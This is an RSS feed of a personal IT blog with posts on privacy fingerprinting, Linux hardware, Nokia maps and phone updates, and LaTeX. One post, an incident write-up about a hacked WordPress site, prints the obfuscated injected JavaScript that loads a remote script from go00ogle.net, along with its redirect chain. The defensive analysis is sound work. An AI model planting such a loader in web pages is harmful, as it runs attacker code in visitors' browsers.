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	<title>Konstantin Shemyak - blog &#187; IT</title>
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	<link>http://www.konstantin.shemyak.com/blog</link>
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		<title>Web surfing privacy and being multilingual</title>
		<link>http://www.konstantin.shemyak.com/blog/2010/02/15/web-surfing-privacy-and-being-multilingual/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2010/02/15/web-surfing-privacy-and-being-multilingual/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 14:37:19 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=353</guid>
		<description><![CDATA[In many cases, it&#8217;s easy to track your browsing &#8211; thanks to JavaScript which is by default executed in most browsers. For example, any site can figure out did you visit a particular another site or not. Like, find out which social networks you hang in. So far, it was mostly about showing more targeted [...]]]></description>
			<content:encoded><![CDATA[<p>In many cases, it&#8217;s easy to track your browsing &#8211; thanks to JavaScript which is by default executed in most browsers. For example, any site can figure out did you visit a particular another site or not. Like, <a href="http://whattheinternetknowsaboutyou.com/docs/details.html">find out which social networks you hang in</a>. So far, it was mostly about showing more targeted advertisements.</p>
<p>Nothing bad has happened to me because of this, and one may argue that targeted ads are better than non-targeted. But I do not like the idea of being tracked &#8211; and I shut off all web ads anyway with <a href="http://adblockplus.org/">AdBlock</a>. Additionally, I have <a href="http://noscript.net/">NoScript</a> always on (and allow sites selectively each time when &#8220;some site does not work&#8221;).</p>
<p>Today I have been told that there is a way to track me even without JavaScript and tracking images from spyhouse sites. It is demonstrated here:</p>
<p><a href="https://panopticlick.eff.org/">https://panopticlick.eff.org/</a></p>
<p>I have quite long &#8220;<em>accept-language</em>&#8221; header set in my browsers, as I can read web pages in several languages. panopticlick shows that I&#8217;m one such user out of about half million (it might be that I&#8217;m just the only one with this value of <em>accept-language</em>, who made a check there).</p>
<p>I&#8217;m not feeling paranoid because of this. But I&#8217;ll be happy to know, is there a way to pass my (complicated <img src='http://www.konstantin.shemyak.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) language preferences without allowing for easy fingerprinting.</p>
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		<slash:comments>4</slash:comments>
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		<title>HP photosmart c8180: perfect Linux support</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/11/29/hp-photosmart-c8180-perfect-linux-support/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/11/29/hp-photosmart-c8180-perfect-linux-support/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 13:26:02 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=327</guid>
		<description><![CDATA[Short summary of this post: HP Photosmart C8180 all-in-one printer works perfectly with Linux right out of the box. After our older printer has died, I had to select a new one. There is too many printers in the market, but the choice decision for me is easier: I just look for Linux support at [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/11/hp-photosmart-c8180.jpg"><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/11/hp-photosmart-c81801.jpg" alt="hp-photosmart-c8180" title="hp-photosmart-c8180" width="170" height="112" class="alignleft size-full wp-image-328" /></a>Short summary of this post: HP Photosmart C8180 all-in-one printer works perfectly with Linux right out of the box.<br />
<span id="more-327"></span><br />
After our older printer has died, I had to select a new one. There is too many printers in the market, but the choice decision for me is easier: I just look for Linux support at the vendor site, plus availability in the local store. Note: nowadays, most printers work with Linux thanks to the volunteer effort; but I want to pay my money to the company, which claims the support officially. This pretty much narrows the selection to HP and Epson (and I can&#8217;t think of a situation when the offer from these two vendors is not enough). Quotes from their web sites:</p>
<ul>
<li>&#8220;Epson tests and certifies most common Linux and Unix platforms with our printers&#8221; (quote from <a href="http://www.business-solutions.epson.co.uk/Compatible.htm">here</a>)</li>
<li>&#8220;The HP Linux Imaging and Printing project provides printing support for 1,949 printer models&#8221; (quote from <a href="http://hplipopensource.com/hplip-web/supported_devices/index.html">here</a>)</li>
</ul>
<p>Finally, my choice has fallen on HP c8180. At this moment, <a href="http://openprinting.org">openprinting.org</a>, the source for Linux printer support information, does not list this model (it&#8217;s quite new). But having configured it as &#8220;HP C8100 series&#8221; in Ubuntu 9.10, both printing and scanning work just fine right out of the box without any additional installations or configurations.</p>
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		<title>Ovi Maps from Nokia: purely ashaming</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/07/12/ovi-maps-from-nokia-purely-ashaming/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/07/12/ovi-maps-from-nokia-purely-ashaming/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 16:18:52 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=248</guid>
		<description><![CDATA[Nokia has released own online maps, &#8220;maps.ovi.com&#8221;. I have tried this, and found them to be so much inferior to the competitors that I even feel ashamed for its home country (which is now my home country as well). I think in this area Google Maps set the reference, so I&#8217;ve done a small comparison [...]]]></description>
			<content:encoded><![CDATA[<p>Nokia has released own online maps, &#8220;maps.ovi.com&#8221;. I have tried this, and found them to be so much inferior to the competitors that I even feel ashamed for its home country (which is now my home country as well). I think in this area Google Maps set the reference, so I&#8217;ve done a small comparison of the two.<span id="more-248"></span></p>
<p>First of all, what I see when trying to access the site, is this great information:<br />
<img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/07/ovi-maps-does-not-work.png" alt="ovi-maps-does-not-work" title="ovi-maps-does-not-work" width="402" height="387" class="alignleft size-full wp-image-249" /> They kindly inform me that it&#8217;s &#8220;not yet available on UNIX&#8221;. And that I should use Firefox 3. Which I am, in fact, using now. But Ovi does not work anyway. Google maps have been working for my platform with Firefox <strong>already for years</strong>.</p>
<p>The first dumbest thing to do is to use a <a href="https://addons.mozilla.org/fi/firefox/addon/59">user agent switcher add-on</a>, which just tells to the server &#8220;I&#8217;m Internet Explorer&#8221;, and see if that works. What a surprise, it does. So, these Ovi maps just check what my user agent is saying and refusing to serve other agents without visible reason. Disgusting. OK, I still continue.</p>
<div style="clear: left;"><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/07/ovi-maps-margins.png" alt="ovi-maps-margins" title="ovi-maps-margins" width="400" height="438" class="alignleft size-full wp-image-251" clear="left" /> The main screen has&#8230; about 1 cm margins on all sides. What the hell. Screen space is a valuable resource, and everybody wants the map to be larger. In fact that&#8217;s one reason why I still buy paper maps: there is no screen (and certainly no portable screen) which can show as large area in as much detail, as paper map does. Now, they just made my screen 2 cm less in each dimension. I&#8217;m not sure I want to continue. Google does not do that &#8211; <strong> I come for maps, and I get maps. Not white margins.</strong></div>
<div style="clear:left;">These two are the blocking points for me. The Nokia creation is inferior to Google&#8217;s also in other ways:</p>
<ul>
<li>The <strong>density of the map information</strong> is poor. For example, they could put more street titles on the screenshot above, without making it overloaded and crammed. They did not.</li>
<li>The <strong>routing just did not work</strong> for me. Not with the &#8220;unsupported operating system&#8221; &#8211; I tried that under MS Windows. I&#8217;m not interested to dig out, what can I do so that it starts working; Google maps work without any tweaks, and I&#8217;ll use them.</li>
<li>&#8220;Satellite&#8221; and &#8220;terrain&#8221; views did not work. Yea, under the &#8220;supported&#8221; operating system.</li>
<li>I do not see an option to provide a link to the map I&#8217;m looking at now. And this is my frequent use case &#8211; quickly drawing some map and sending it to my companions.
</ul>
<p>I have found only one advantage of Ovi maps: they have better map material for the small roads in Finland (which I&#8217;m mostly interested in for my bicycle rides). Google does not know about track-type roads, Ovi often does. This is an important point for me. Below is the map of the same region from GMaps on the left and from Ovi maps to the right. Note how much more small roads Ovi has. Unfortunately, there is still much to wish; many of these paths are private and closed for access, which it&#8217;s not marked in any way.</p>
<p>Checking other places randomly, I found maps of Lithuania and Russia to be even less satisfactory than the Google&#8217;s ones.
</p></div>
<p><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/07/gmaps-roads.png" alt="gmaps-roads" title="gmaps-roads" width="320" height="333" class="alignleft size-full wp-image-256" /><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/07/ovi-roads.png" alt="ovi-roads" title="ovi-roads" width="317" height="331" class="alignleft size-full wp-image-257" /></p>
<div style="clear:left;">
Concerning the mobile version of the application. Nokia is a mobile phone company, so it shall work on phones perfectly, at least on Nokia&#8217;s?</p>
<ul>
<li>I have two Nokia smartphones, E61 and E90. Google mobile maps work <strong>in both devices</strong>. <strong>Nokia</strong> Maps can not be installed in <strong>Nokia</strong> E61 at all.</li>
<li>Google maps show your approximate location based on the serving cell when the GPS is not available. Nokia maps do not.</li>
<li>Google maps start up so much faster than Nokia&#8217;s.</li>
<li>Google maps have &#8220;public transportation&#8221; feature. Way cool for me.</li>
</ul>
<p>To be fare, here is an advantage of Nokia mobile maps, which is important in some cases: maps can be downloaded to the phone and used offline. So, in the field, they work faster, and do not consume two valuable resources: battery power and money for the data transfer. But, what a surprise: you need MS Windows with installed Nokia software for that. So you can&#8217;t do it with just a phone, or at your friend&#8217;s home. [Oh what a happiness, it fact this can be done, bypassing the official Nokia instructions; <a href="http://diabo.110mb.com/symbian/nokiamaps/maps00_01_22_103.html">read this</a>.]
</div>
<p><strong>My message to Ovi managers:</strong> you are not only several years behind in time. You are also way behind in the implementation. I don&#8217;t see how you are going to catch up.</p>
<p>And, sure, I&#8217;m not working on either of the companies I compare.</p>
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		<slash:comments>0</slash:comments>
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		<title>Being web-cracked: experience and advice</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/06/16/being-web-cracked-experience-and-advice/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/06/16/being-web-cracked-experience-and-advice/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 16:47:30 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=205</guid>
		<description><![CDATA[Has your web site ever been &#8220;infected&#8221;? This happened to me today, first time in my life. Hello from go00ogle.net. Below are technical details on what exactly happened, why I did not suffer any damage, and what I recommend to do in order to reduce your own susceptibility. The article is written for a non-technical [...]]]></description>
			<content:encoded><![CDATA[<p>Has your web site ever been &#8220;infected&#8221;?</p>
<p>This happened to me today, first time in my life. Hello from <strong>go00ogle.net</strong>. Below are technical details on what exactly happened, why I did not suffer any damage, and what I recommend to do in order to reduce your own susceptibility. The article is written for a non-technical reader.</p>
<p><span id="more-205"></span></p>
<p><strong>How did I see that something is wrong?</strong></p>
<p><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/06/noscript-1.png" alt="go00ogle.net blocked by NoScript" title="go00ogle.net blocked by NoScript" width="290" height="336" class="alignleft size-full wp-image-226" /> Administering my another blog today, I have noticed something in my web browser which I did not see before: the icon of <strong>NoScript</strong> (a Firefox add-on) was showing, that some scripts are blocked from execution. That is the small blue &#8220;S&#8221; with an even smaller red circle in the Firefox information bar, shown on the picture to the left.</p>
<p><strong>NoScript</strong> stops the browser from executing scripts, which are parts of the web pages we are browsing. It is a common practice nowadays to call scripts from other hosts than the one where the web page itself is hosted. <strong>NoScript</strong> by default blocks such calls and shows the red icon. Click it, and you see which hosts the web page has tried to call. I whitelisted my own host <strong>shemyak.com</strong>, but I knew for sure that my blog should not call any scripts from host such as <strong>go00ogle.net</strong>.</p>
<p>This is an indication that my host is doing something I did not ask him to.</p>
<p style="clear: left;"><strong>How did I find what was it?</strong></p>
<p><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/06/adblock-1.png" alt="go00ogle.net blocked by AdBlock" title="go00ogle.net blocked by AdBlock" width="405" height="257" class="alignleft size-full wp-image-229" /> The easiest thing nowadays is to type the question into the search engine. Google.com does not (at the moment of this writing) show anything helpful about go00ogle.com, except couple of links to forums where the latter is called scam site. But &#8220;google safe browsing&#8221; itself <a href="http://google.com/safebrowsing/diagnostic?site=go00ogle.net/">identifies the almost-namesake</a> as &#8220;suspicious&#8221;, and claims it &#8220;has hosted malicious software&#8221; as of 15.6.2009 (yesterday). Not much real information, at least yet.</p>
<p>Let&#8217;s look into the source ourselves. The source of my &#8220;problematic&#8221; page does not contain string &#8220;go00ogle&#8221; anywhere. So, the call to this site is done from some other script, called by this page.</p>
<p>Their location can be found from the page source, but it&#8217;s even easier with the other security and privacy tool, <strong>AdBlock</strong>. Its window shows list of all &#8220;items&#8221; on the page &#8211; images, styles, scripts and embedded objects. Cool, I see the script about which the <strong>NoScript</strong> informed me, and also two other scripts which were always there.</p>
<p>Which of the two is the source of the problem? Thanks AdBlock, I can just block them one by one and see if NoScript still complains about blocking go00ogle.net. It turns out that the second one is &#8220;infected&#8221;, the first is not. </p>
<p>Let&#8217;s now explore &#8220;the bad&#8221; script. I copy its location and download it with <a href="http://www.gnu.org/software/wget/">wget</a>:</p>
<p><code>$ wget -O infected-script 'http://www.konstantin.shemyak.com/dnevnik/wp-admin/load-scripts.php?c=0&#038;load=jquery,utils,quicktags&#038;ver=b64ae9a301a545332f1fcd4c6c5351b4'</code></p>
<p>And open it with a text editor. The suspect is there! Here is the piece of code &#8220;calling home&#8221; in the line number 20:</p>
<p><code><verbatim>jQuery.noConflict();function advQuery(){var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));};advQuery();</verbatim></code></p>
<p>The URL go00ogle.net is obfuscated (I do not see a reason why the author of this script took his/her time to do it). The result of the execution is that the browser gets the following instruction:</p>
<p><code>&lt;script src="http://go00ogle.net/if.php"&gt;</code></p>
<p>And the <strong>default behavior of the browser would be to execute this script</strong>. Good that NoScript changes it.</p>
<p style="clear: left;"><strong>What could happen if I had not used the prevention measures?</strong></p>
<p>Let&#8217;s see, what is inside that go00ogle.net/if.php:</p>
<p><code>document.write("&lt;script type=\"text/javascript\" src=\"http://www.trafing.net/show-banner.php?kod=954815&#038;site=www.surinamefoto.com\"&gt;&lt;/script&gt;");</code></p>
<p>So it&#8217;s a redirect to another script. It may also roll up a counter for &#8220;surinamefoto.com&#8221;. Unwrapping what comes from trafing.net, I saw two other redirects, again with possible roll-ups of counters. I lost the interest for hunting it down further and a) submitted a support ticket to my hosting provider b) <a href="http://wordpress.org/support/topic/274319?replies=3">informed WordPress community about the issue</a> (I was not the first victim there).</p>
<p style="clear: left;"><strong>Conclusion:</strong></p>
<p><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/06/noscript.png" alt="noscript logo" title="noscript logo" width="128" height="128" class="alignleft size-full wp-image-234" /> It&#8217;s that simple. Just use tools like <a href="http://adblockplus.org/">AdBlock</a> and <a href="http://">NoScript</a>. The first is the &#8220;blacklist&#8221;-type filter (specifically prohibiting items which you know you do not want &#8211; works great for advertising banners and counters you do not need), the second is &#8220;whitelist&#8221; (prohibiting by default everything, except items you have explicitly asked). By default, <strong>your browser may be executing any code</strong> &#8211; even coming from places you never asked for. This is probably not a good idea, so do not use a web browser for which you can&#8217;t easily disable the insecure behavior.</p>
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		<slash:comments>9</slash:comments>
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		<title>Donald Knuth to European Patent Office: algorithms not to be patentable</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/06/11/donald-knuth-to-european-patent-office-algorithms-not-to-be-patentable/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/06/11/donald-knuth-to-european-patent-office-algorithms-not-to-be-patentable/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 07:03:42 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Politics]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=203</guid>
		<description><![CDATA[Article at Groklaw. My random pick: &#8220;If Europe leads the way in this [allowing algorithms to be patented], I expect many Americans would want to emigrate so that they could continue to innovate in peace.&#8221;]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.groklaw.net/article.php?story=20090603224807259">Article at Groklaw</a>.</p>
<p>My random pick:</p>
<p><em>&#8220;If Europe leads the way in this [allowing algorithms to be patented], I expect many Americans would want to emigrate so that they could continue to innovate in peace.&#8221;</em></p>
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		<slash:comments>0</slash:comments>
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		<title>Looking for a small, silent Linux computer</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/06/07/looking-for-a-small-silent-linux-computer/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/06/07/looking-for-a-small-silent-linux-computer/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 20:43:37 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=200</guid>
		<description><![CDATA[I want to buy a silent Linux desktop computer. No need to be any &#8220;high-end&#8221; otherwise. This turned out to be a nontrivial task. After hours of browsing and listening to advices (thanks to my friends who already gave some!), I see the following options: 1. Buy a laptop and use it as desktop. Bad: [...]]]></description>
			<content:encoded><![CDATA[<p>I want to buy a silent Linux desktop computer. No need to be any &#8220;high-end&#8221; otherwise.</p>
<p>This turned out to be a nontrivial task. After hours of browsing and listening to advices (thanks to my friends who already gave some!), I see the following options:<br />
<span id="more-200"></span></p>
<p><strong>1. Buy a laptop and use it as desktop. </strong></p>
<p><strong>Bad:</strong> it is not really silent; I do not know a place to buy a <strong>Linux</strong> laptop (meaning, with 100% Linux HW support, and without any other OS, for which I do not want to pay a cent, neither increase their sales statistics)<br />
<strong>Good:</strong> it can be carried away if needed; it has the battery for power backup.</p>
<p><strong>2. Buy a Mac Mini.</strong></p>
<p><strong>Good:</strong> It has just perfect form factor and hardware collection for my taste.<br />
<strong>Bad:</strong> Despite some recommendations, I&#8217;ve not got enough interest to try it&#8217;s original OS. It seems that I&#8217;d have to replace the key native applications, such as web browser and media player, with opensource analogs anyway, and lose the (questioned anyway) &#8220;integrity&#8221; of the UI. I have not read anywhere that the HW is fully supported in Linux. And it looks like the not-so-ugly-as-everyone-else case costs quite noticeable money (if I take the idea that I&#8217;m not paying for the software).</p>
<p><strong>3. Find exactly what I need ready-made.</strong></p>
<p>There is a number of &#8220;thin client&#8221;-type Linux boxes on the market, but I&#8217;m looking for something bigger: I naturally need hard drive and a CD-ROM. And here the offer does not seem to exist at all. For example, a nice hit could be <a href="http://www.compactpc.com.tw/ebox-4852.htm">eBox</a>, but it does not have the CD-ROM. The only 100% match I found so far is the <a href="http://www.cartft.com/catalog/gl/72">carTFT series</a>, mini-ITX PCs seemingly designed for car usage (shudder). They look like perfect match to my needs, except memory is limited to 1GB &#8211; but I probably put up with this.</p>
<p>Thanks in advance for any relevant ideas or personal experience.</p>
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			<wfw:commentRss>http://www.konstantin.shemyak.com/blog/2009/06/07/looking-for-a-small-silent-linux-computer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
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		<title>Wolfram Alpha: computation for everyone, for free</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/05/19/wolfram-alpha-computation-for-everyone-for-free/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/05/19/wolfram-alpha-computation-for-everyone-for-free/#comments</comments>
		<pubDate>Tue, 19 May 2009 08:02:32 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=196</guid>
		<description><![CDATA[Wolfram Research, probably most known for their Mathematica calculation product, has launched an online service which makes various calculations and visualizations for free, and with just a web browser: http://wolframalpha.com This project makes me really respect Wolfram. I spent quite some time browsing the examples, almost exclusively from the &#8220;mathematics&#8221; part, picking like a shy [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www4c.wolframalpha.com/Calculate/MSP/MSP768195h7b43d73525990000362ci6255hhcg0ci?MSPStoreType=image/gif&#038;s=26" alt="WolframAlpha example" class="alignleft size-full wp-image-188" /><a href="http://wolfram.com">Wolfram Research</a>, probably most known for their <a href="http://www.wolfram.com/products/mathematica/index.html">Mathematica</a> calculation product, has launched an online service which makes various calculations and visualizations for free, and with just a web browser:</p>
<p><strong><a href="http://wolframalpha.com">http://wolframalpha.com</a></strong></p>
<p>This project makes me really respect Wolfram. I spent quite some time browsing the examples, almost exclusively from the &#8220;mathematics&#8221; part, picking like a shy visitor at other areas. Some of my online friends write that &#8220;knowledge becomes less of a fashion in our times&#8221;. I do not agree a bit. Just look at this product.</p>
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		<slash:comments>2</slash:comments>
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		<title>(La)TeX, 10 years later</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/05/11/latex-10-years-later/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/05/11/latex-10-years-later/#comments</comments>
		<pubDate>Mon, 11 May 2009 12:15:04 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=186</guid>
		<description><![CDATA[10 and more years back, when I studied mathematics, I was an active user and promoter of the (La)TeX typesetting system. Since then, I almost did not use it, but kept the warmest memories of this creation &#8220;by mathematicians, for mathematicians&#8221;. Yesterday&#8230; I can&#8217;t say I changed my mind, but I&#8217;m not so sure any [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/05/tex-lion.png" alt="tex-lion" title="tex-lion" width="198" height="165" class="alignleft size-full wp-image-188" /> 10 and more years back, when I studied mathematics, I was an active user and promoter of the (La)TeX typesetting system. Since then, I almost did not use it, but kept the warmest memories of this creation &#8220;by mathematicians, for mathematicians&#8221;. Yesterday&#8230; I can&#8217;t say I changed my mind, but I&#8217;m not so sure any more about my attitude. </p>
<p>I had to remake a one-page document, for which I already had an old LaTeX template source. Edit the source, &#8220;make&#8221;, and a nice PDF is ready. Well, now the text which I inserted contained the @ sign. And of course (pdf)LaTeX did not compile.</p>
<p>I did not remember what should one do to typeset &#8216;@&#8217; literally. I certainly remembered it 10 years back, but that&#8217;s not the kind of knowledge which stays alive when not used. It took me about 15 minutes to find the answer.</p>
<p>And now I&#8217;m not sure whether I shall promote TeX at all. From my viewpoint, this 15 minutes is <strong>unacceptably too much</strong> for such &#8220;problem&#8221; (actually, the very fact that this made a problem, is unacceptable in my current view). I expected the first link in Google search to give the solution, but the reality was very far from that. And &#8211; unfortunately for the others &#8211; I consider myself as a quite experienced (La)TeX user: I followed news:comp.text.tex, created own document classes, which were also used by other people, and so on. I knew well how it works. I knew where to look for documentation, and what kind of documentation I need. And still this thing, which should never be a stumble at all, took me 15 minutes. I can easily imagine that it takes full day from a person new to the TeX world.</p>
<p>Conclusion: sorry, none at the moment&#8230;</p>
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			<wfw:commentRss>http://www.konstantin.shemyak.com/blog/2009/05/11/latex-10-years-later/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
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		<title>Software update for Nokia phones</title>
		<link>http://www.konstantin.shemyak.com/blog/2009/01/12/software-update-for-nokia-phones/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2009/01/12/software-update-for-nokia-phones/#comments</comments>
		<pubDate>Mon, 12 Jan 2009 11:23:52 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=144</guid>
		<description><![CDATA[Nokia gives an option to update the phone&#8217;s software, at least, for the more expensive models. I do not know, and would like to know, how other mobile phone vendors score in this area. Below is my rant about Nokia way of doing it. The writing is in negative tone, because things are noticed only [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_145" class="wp-caption alignnone" style="width: 240px"><img src="http://www.konstantin.shemyak.com/blog/wp-content/uploads/2009/01/nokia-sw-updater.png" alt="Picture from nokia.com" title="nokia-sw-updater" width="230" height="271" class="size-full wp-image-145" /><p class="wp-caption-text">A motivated-looking female character illustrates the software update process. Picture from nokia.com</p></div> Nokia gives an option to update the phone&#8217;s software, at least, for the more expensive models. I do not know, and would like to know, how other mobile phone vendors score in this area. Below is my rant about Nokia way of doing it. The writing is in negative tone, because things are noticed only when they <strong>do not</strong> work as expected. I&#8217;m interested if there is a vendor who does it better (some do not allow the user to update firmware at all &#8211; you must go to the service center for that!)<br />
<span id="more-144"></span></p>
<ol>
<li>Software updater is available for <strong>Windows only</strong>.</li>
<li>Installation of the updater requires <strong>admin rights</strong>.</li>
<li>Updater requires <strong>Internet connection</strong>. You can not flash just any image you want &#8211; only the version which Nokia sends you while your phone is plugged in.</li>
<li>Updater checks for <strong>own updates</strong>. If a newer version of self is found, the outdated version refuses to work. Upgrade <strong>requires reboot</strong>.</li>
<li>Software update <strong>requires SIM</strong> in the phone &#8211; why the heck.</li>
<li>Updater is &#8220;graphical&#8221;, that is, you can&#8217;t copy any text which it shows. Such as version of the image or error messages (fortunately I&#8217;ve got none).</li>
<li>Backup+restore cycle did not restore any of the <strong>additional software</strong> which I had previously installed (more than 10 pieces BTW)</li>
</ol>
<p>I appreciate comments from owners of mobile phones from other vendors: have <strong>Motorola, LG, Samsung, SonyEricsson, Apple</strong>, whoever else &#8211; done it better?</p>
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		<slash:comments>4</slash:comments>
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		<title>Get rid of junk on your desktop!</title>
		<link>http://www.konstantin.shemyak.com/blog/2008/12/02/get-rid-of-junk-on-your-desktop/</link>
		<comments>http://www.konstantin.shemyak.com/blog/2008/12/02/get-rid-of-junk-on-your-desktop/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 17:57:01 +0000</pubDate>
		<dc:creator>konstantin</dc:creator>
				<category><![CDATA[IT]]></category>

		<guid isPermaLink="false">http://www.konstantin.shemyak.com/blog/?p=134</guid>
		<description><![CDATA[What a vandalism is this? Turning a keyboard into two pieces of junk? No, it&#8217;s just the opposite &#8211; Bringing the Order, and Getting Rid of Junk! I never use the &#8220;numeric keypad&#8221; on the right side. And it takes valuable space from my right hand. So what&#8217;s the problem if I got the hacksaw? [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" src="http://konstantin.shemyak.com/misc/KeyboardSawing/18112008331.jpg" title="Cutting out the keypad with a hacksaw" class="alignnone" width="320" height="286" /><br />
What a vandalism is this? Turning a keyboard into two pieces of junk?</p>
<p>No, it&#8217;s just the opposite &#8211; <strong>Bringing the Order</strong>, and <strong>Getting Rid of Junk</strong>!</p>
<p>I never use the &#8220;numeric keypad&#8221; on the right side. And it takes valuable space from my right hand. So what&#8217;s the problem if I got the hacksaw? <a href="http://konstantin.shemyak.com/misc/KeyboardSawing/index.html">Read on how I did it</a> (with pictures and instructions for followers).</p>
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